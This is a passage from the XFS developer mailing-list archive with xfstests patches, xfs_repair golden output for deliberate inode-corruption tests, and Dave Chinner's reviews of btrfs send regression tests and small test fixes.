+Phase 6 - check inode connectivity... +reinitializing realtime summary inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done +Corrupting root inode - setting bits to -1 +Wrote X.XXKb (value 0xffffffff) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0xffff on inode INO +bad version number 0xffffffff on inode INO +inode identifier 18446744073709551615 mismatch on inode INO +bad magic number 0xffff on inode INO, resetting magic number +bad version number 0xffffffff on inode INO, resetting version number +inode identifier 18446744073709551615 mismatch on inode INO +cleared root inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... +root inode lost + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing root directory + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +resetting inode INO nlinks from 1 to 2 +done +Corrupting rt bitmap inode - setting bits to -1 +Wrote X.XXKb (value 0xffffffff) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0xffff on inode INO +bad version number 0xffffffff on inode INO +inode identifier 18446744073709551615 mismatch on inode INO +bad magic number 0xffff on inode INO, resetting magic number +bad version number 0xffffffff on inode INO, resetting version number +inode identifier 18446744073709551615 mismatch on inode INO +cleared realtime bitmap inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime bitmap inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done +Corrupting rt summary inode - setting bits to -1 +Wrote X.XXKb (value 0xffffffff) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0xffff on inode INO +bad version number 0xffffffff on inode INO +inode identifier 18446744073709551615 mismatch on inode INO +bad magic number 0xffff on inode INO, resetting magic number +bad version number 0xffffffff on inode INO, resetting version number +inode identifier 18446744073709551615 mismatch on inode INO +cleared realtime summary inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime summary inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 23 21:06:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E7F367F58 for ; Sun, 23 Feb 2014 21:06:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6A15BAC003 for ; Sun, 23 Feb 2014 19:06:29 -0800 (PST) X-ASG-Debug-ID: 1393211187-04bdf00fca31eee0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id oqa7hWs1e0vUKuWe for ; Sun, 23 Feb 2014 19:06:27 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmQKAP21ClN5LJYe/2dsb2JhbABZgwY7qHsDmUkXdIIlAQEFVjMIGDE5AxsZiATGboxogRiBAYQiBKpbg0EogSw Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Pu-GM for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007p8-FQ for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/6] shared/051: CRC enabled filesystems handle more than 25 ACLs Date: Mon, 24 Feb 2014 14:06:13 +1100 X-ASG-Orig-Subj: [PATCH 4/6] shared/051: CRC enabled filesystems handle more than 25 ACLs Message-Id: <1393211175-30016-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393211175-30016-1-git-send-email-david@fromorbit.com> References: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211187 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=INFO_TLD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 INFO_TLD URI: Contains an URL in the INFO top-level domain From: Dave Chinner shared/051 fails on CRC enabled filesystems because it doesn't get an erro on setting the 26th ACL on a file. CRC enabled filesystems support more than 25, so there shoul dbe no error. Allow the test to pass on both non-CRC and CRC enabled filesystems by detecting the type of filesystem configuration and using that information to fake the error message so that the golden output match does not fail. We also need to filter the 26th ACL from the output otherwise that will cause failures, too. Signed-off-by: Dave Chinner --- tests/shared/051 | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/tests/shared/051 b/tests/shared/051 index e957f86..1d4edfb 100755 --- a/tests/shared/051 +++ b/tests/shared/051 @@ -319,6 +319,14 @@ chacl a::rwx file1 set +x #------------------------------------------------------- +# +# On CRC enabled filesystems, we can support many more than 25 ACLs, and +# so we have to detect this case and "fake" the error if CRCs are enabled. +if [ $FSTYP = "xfs" ]; then + xfs_info $TEST_DIR | _filter_mkfs >/dev/null 2> $tmp.info + cat $tmp.info >> $seqres.full + . $tmp.info +fi echo "" echo "=== Test out large ACLs ===" @@ -343,7 +351,14 @@ getfacl --numeric largeaclfile | _filter_aces echo "1 above xfs acl max" chacl $acl3 largeaclfile -getfacl --numeric largeaclfile | _filter_aces +if [ $_fs_has_crcs = "1" ]; then + # fake the error message for CRC enabled filesystems. It should succeed, + # so if there was any error from the above command we are going to fail + # regardless of whether we emit this or not. + echo "chacl: cannot set access acl on \"largeaclfile\": Invalid argument" +fi +# and filter the extra ACL we might have added. +getfacl --numeric largeaclfile | _filter_aces | sed -e "/^user:22:rwx/d" echo "use 16 aces" chacl $acl4 largeaclfile -- 1.8.4.rc3 From david@fromorbit.com Sun Feb 23 23:26:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 299167F53 for ; Sun, 23 Feb 2014 23:26:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 89E84AC004 for ; Sun, 23 Feb 2014 21:25:59 -0800 (PST) X-ASG-Debug-ID: 1393219557-04cb6c6de073cef0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id NwaIaOQjn7mSuiRz for ; Sun, 23 Feb 2014 21:25:57 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokJAPHWClN5LJYe/2dsb2JhbABZgwaDQ7hfhVOBDhd0giUBAQU6HCMQCAMYCSUPBQ0YAyETh3EDEL58DYcyFxaMOYIVB4Q4BI5BiAaBbIxhhUeBb4FSKIEsBQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 15:55:56 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHo37-0004i7-GE; Mon, 24 Feb 2014 16:25:53 +1100 Date: Mon, 24 Feb 2014 16:25:53 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: add test for btrfs send issuing premature rmdir operations Message-ID: <20140224052553.GJ4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add test for btrfs send issuing premature rmdir operations References: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393219557 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145449 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 02:32:32PM +0000, Filipe David Borba Manana wrote: > Regression test for btrfs incremental send issue where a rmdir instruction > is sent against an orphan directory inode which is not empty yet, causing > btrfs receive to fail when it attempts to remove the directory. > > This issue is fixed by the following linux kernel btrfs patch: > > Btrfs: fix send attempting to rmdir non-empty directories > > Signed-off-by: Filipe David Borba Manana > --- > tests/btrfs/041 | 153 +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/041.out | 1 + > tests/btrfs/group | 1 + > 3 files changed, 155 insertions(+) > create mode 100755 tests/btrfs/041 > create mode 100644 tests/btrfs/041.out > > diff --git a/tests/btrfs/041 b/tests/btrfs/041 > new file mode 100755 > index 0000000..9de9326 > --- /dev/null > +++ b/tests/btrfs/041 > @@ -0,0 +1,153 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/041 > +# > +# Regression test for btrfs incremental send issue where a rmdir instruction > +# is sent against an orphan directory inode which is not empty yet, causing > +# btrfs receive to fail when it attempts to remove the directory. > +# > +# This issue is fixed by the following linux kernel btrfs patch: > +# > +# Btrfs: fix send attempting to rmdir non-empty directories > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=`mktemp -d` > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + rm -fr $tmp > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > +_need_to_be_root > + > +FSSUM_PROG=$here/src/fssum > +[ -x $FSSUM_PROG ] || _notrun "fssum not built" This is duplicated across several tests now. Perhaps this should be factored now into a _requires_fssum helper (separate patch is fine)? > + > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV you should be able to use _check_scratch_fs() here. I note that the btrfs path does not unmount the scratch device, so you should update it to do so (like _check_xfs_filesytem does) and then _check_scratch_fs() will just Do The Right Thing. > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap > +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full > + > +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap > +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full Hasn't run_check already redirected everything to $seqres.full? > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV _check_scratch_fs() here too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 23:28:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E95C7F53 for ; Sun, 23 Feb 2014 23:28:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1EED1304059 for ; Sun, 23 Feb 2014 21:28:19 -0800 (PST) X-ASG-Debug-ID: 1393219696-04cbb00c29734620001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Wypsi6PMLGZP416E for ; Sun, 23 Feb 2014 21:28:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokJABrYClN5LJYe/2dsb2JhbABZgwaDQ7hfhVOBDhd0giUBAQU6HCMQCAMYCSUPBQ0YAyETh3EDEL58DYcyFxaMOYIVB4Q4BJZHgWyMYYVHg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 15:58:04 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHo5C-0004ir-2a; Mon, 24 Feb 2014 16:28:02 +1100 Date: Mon, 24 Feb 2014 16:28:02 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: add test btrfs/042 for btrfs incremental send Message-ID: <20140224052801.GK4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add test btrfs/042 for btrfs incremental send References: <1392940976-1790-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392940976-1790-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393219696 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145449 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 21, 2014 at 12:02:56AM +0000, Filipe David Borba Manana wrote: > Regression test for a btrfs incremental send issue where invalid paths for > utimes, chown and chmod operations were sent to the send stream, causing > btrfs receive to fail. > > If a directory had a move/rename operation delayed, and none of its parent > directories, except for the immediate one, had delayed move/rename operations, > after processing the directory's references, the incremental send code would > issue invalid paths for utimes, chown and chmod operations. > > This issue is fixed by the following linux kernel btrfs patch: > > Btrfs: fix send issuing outdated paths for utimes, chown and chmod > > Signed-off-by: Filipe David Borba Manana .... > +FSSUM_PROG=$here/src/fssum > +[ -x $FSSUM_PROG ] || _notrun "fssum not built" Helper... ..... > +_scratch_unmount > +_check_btrfs_filesystem $SCRATCH_DEV And _check_scratch_fs.... > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap > +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full > + > +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap > +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full And the redirection.... I'm happy to see you write your tests consistently, Filipe :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 23:28:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A2447F53 for ; Sun, 23 Feb 2014 23:28:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E8566AC004 for ; Sun, 23 Feb 2014 21:28:34 -0800 (PST) X-ASG-Debug-ID: 1393219712-04cbb00c28734660001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id m3iwUgQdEPahel11 for ; Sun, 23 Feb 2014 21:28:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokJABrYClN5LJYe/2dsb2JhbABZgwaDQ7hfhVOBDhd0giUBAQU6HCMQCAMOCgklDwUlAyETiATGOxcWjk4HhDgEmDOSKINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 15:58:32 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHo5e-0004j0-59; Mon, 24 Feb 2014 16:28:30 +1100 Date: Mon, 24 Feb 2014 16:28:30 +1100 From: Dave Chinner To: Dmitry Monakhov Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstest generic/280: use waidpid instead of ugly sleep Message-ID: <20140224052830.GL4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstest generic/280: use waidpid instead of ugly sleep References: <1392972948-2463-1-git-send-email-dmonakhov@openvz.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392972948-2463-1-git-send-email-dmonakhov@openvz.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393219712 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145449 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Fri, Feb 21, 2014 at 12:55:48PM +0400, Dmitry Monakhov wrote: > > Signed-off-by: Dmitry Monakhov > --- > tests/generic/280 | 3 ++- > 1 files changed, 2 insertions(+), 1 deletions(-) > > diff --git a/tests/generic/280 b/tests/generic/280 > index 815a2c5..7a2d1d0 100755 > --- a/tests/generic/280 > +++ b/tests/generic/280 > @@ -61,9 +61,10 @@ quotacheck -u -g $SCRATCH_MNT 2>/dev/null > quotaon $SCRATCH_MNT 2>/dev/null > xfs_freeze -f $SCRATCH_MNT > setquota -u root 1 2 3 4 $SCRATCH_MNT & > +pid=$! > sleep 1 > xfs_freeze -u $SCRATCH_MNT > -sleep 1 > +wait $pid > umount $SCRATCH_DEV Looks fine. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 23:31:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 309DF7F53 for ; Sun, 23 Feb 2014 23:31:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 105548F8035 for ; Sun, 23 Feb 2014 21:31:07 -0800 (PST) X-ASG-Debug-ID: 1393219864-04cbb00c2b734870001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id bvFpGqoY8lr62eh7 for ; Sun, 23 Feb 2014 21:31:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvoOABrYClN5LJYe/2dsb2JhbABZgwY7gwilcwOSaYVTgQ4XdIIlAQEFOhwjEAgDEwUJJQ8FJQMhExuHacY7FxaOTgeEOAEDmDOSKINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 16:01:03 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHo86-0004jG-8u; Mon, 24 Feb 2014 16:31:02 +1100 Date: Mon, 24 Feb 2014 16:31:02 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfstests: fix 300.out Message-ID: <20140224053102.GM4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix 300.out References: <53079F51.2050406@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53079F51.2050406@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393219864 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145449 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 21, 2014 at 12:47:45PM -0600, Eric Sandeen wrote: > This test was written before a solution was in place, I think, > and so the expected output wasn't well tested. > > The test does a loop of sparse writes from 6 to 0, but the > .out file expects 6 (not 7) extents. Fix it. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/tests/xfs/300.out b/tests/xfs/300.out > index ac03557..29ed771 100644 > --- a/tests/xfs/300.out > +++ b/tests/xfs/300.out > @@ -1,3 +1,3 @@ > QA output created by 300 > SCRATCH_MNT/300.test > -extents before:6 after:1 DONE SCRATCH_MNT/300.test > +extents before:7 after:1 DONE SCRATCH_MNT/300.test Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From takeuchi_satoru@jp.fujitsu.com Mon Feb 24 00:04:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA54E7F53 for ; Mon, 24 Feb 2014 00:04:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 591D5AC003 for ; Sun, 23 Feb 2014 22:04:39 -0800 (PST) X-ASG-Debug-ID: 1393221873-04bdf00fc9327a10001-NocioJ Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]) by cuda.sgi.com with ESMTP id FhFHYOeOEfHzXYhO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 23 Feb 2014 22:04:37 -0800 (PST) X-Barracuda-Envelope-From: takeuchi_satoru@jp.fujitsu.com X-Barracuda-Apparent-Source-IP: 192.51.44.35 Received: from m3.gw.fujitsu.co.jp (unknown [10.0.50.73]) by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id 36F4F3EE1DA for ; Mon, 24 Feb 2014 15:04:33 +0900 (JST) Received: from smail (m3 [127.0.0.1]) by outgoing.m3.gw.fujitsu.co.jp (Postfix) with ESMTP id 24FC845DEBE for ; Mon, 24 Feb 2014 15:04:33 +0900 (JST) Received: from s3.gw.fujitsu.co.jp (s3.gw.nic.fujitsu.com [10.0.50.93]) by m3.gw.fujitsu.co.jp (Postfix) with ESMTP id 0D01145DEB7 for ; Mon, 24 Feb 2014 15:04:33 +0900 (JST) Received: from s3.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1]) by s3.gw.fujitsu.co.jp (Postfix) with ESMTP id ED0C7E08003 for ; Mon, 24 Feb 2014 15:04:32 +0900 (JST) Received: from g01jpfmpwyt01.exch.g01.fujitsu.local (g01jpfmpwyt01.exch.g01.fujitsu.local [10.128.193.38]) by s3.gw.fujitsu.co.jp (Postfix) with ESMTP id 9A5001DB803C for ; Mon, 24 Feb 2014 15:04:32 +0900 (JST) Received: from localhost.localdomain (localhost [127.0.0.1]) by g01jpfmpwyt01.exch.g01.fujitsu.local (Postfix) with ESMTP id 756856D6371; Mon, 24 Feb 2014 15:04:32 +0900 (JST) Received: from G01JPEXCHYT16.g01.fujitsu.local (G01JPEXCHYT16.g01.fujitsu.local [10.128.194.55]) by g01jpfmpwyt01.exch.g01.fujitsu.local (Postfix) with ESMTP id CA0056D633F; Mon, 24 Feb 2014 15:04:31 +0900 (JST) Received: from [127.0.0.1] (10.124.101.217) by G01JPEXCHYT16.g01.fujitsu.local (10.128.194.55) with Microsoft SMTP Server id 14.3.146.2; Mon, 24 Feb 2014 15:04:29 +0900 X-SecurityPolicyCheck: OK by SHieldMailChecker v2.0.1 X-SHieldMailCheckerPolicyVersion: FJ-ISEC-20120718-4 Message-ID: <530AE0E5.1090707@jp.fujitsu.com> Date: Mon, 24 Feb 2014 15:04:21 +0900 From: sat User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: , Rob Landley , Dave Chinner Subject: [PATCH] XFS: fix the description of 'allocsize=' mount option Content-Type: text/plain; charset="ISO-2022-JP" X-ASG-Orig-Subj: [PATCH] XFS: fix the description of 'allocsize=' mount option Content-Transfer-Encoding: 7bit X-SecurityPolicyCheck-GC: OK by FENCE-Mail X-Barracuda-Connect: UNKNOWN[192.51.44.35] X-Barracuda-Start-Time: 1393221876 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of 